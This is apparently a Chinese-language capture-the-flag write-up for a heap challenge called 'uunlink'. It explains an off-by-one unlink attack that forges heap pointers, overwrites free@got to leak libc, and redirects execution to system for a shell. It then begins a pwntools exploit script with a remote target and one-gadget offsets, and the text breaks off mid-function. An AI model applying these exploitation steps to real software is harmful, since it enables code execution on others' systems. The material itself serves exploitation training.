UUnlink
题目描述
基础的堆题目(创建、释放、修改)
带有off by one
在写堆数据时
题目原理
此类uunlink
题目有一定套路
- 整体上来说,就是不断将堆的控制权[[升级]],跳出去。
- 升级前:原本只能控制系统给定的堆块区域数据(称用户数据)
- 升级后:利用
unlink
将堆地址篡改为了堆管理区域
(相当于获得了系统对于堆整体区域的管理)
- GetShell:
- 利用堆free时,检查该堆标志位为释放状态,随后glibc会将其与其他释放块进行
向上合并
- 合并后,用户可直接控制堆的
全局
数据(跳出了仅仅只能控制用户数据区域的权限) fd = 0x00602300-0x18
是固定的套路,相当于指向了堆块管理区域,里面包含了所有堆的地址储存- 获得全局堆数据篡改权之后,将
free
@got改成puts
@plt输出了程序真实调用libc函数的地址 - 通过计算偏移,得到
system
。再通过(4)同样的方法更改函数调用控制EIP
- 利用堆free时,检查该堆标志位为释放状态,随后glibc会将其与其他释放块进行
Exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./uunlink')
if local:
p = process('./uunlink')
libc = elf.libc
else:
p = remote('172.16.229.161',7001)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr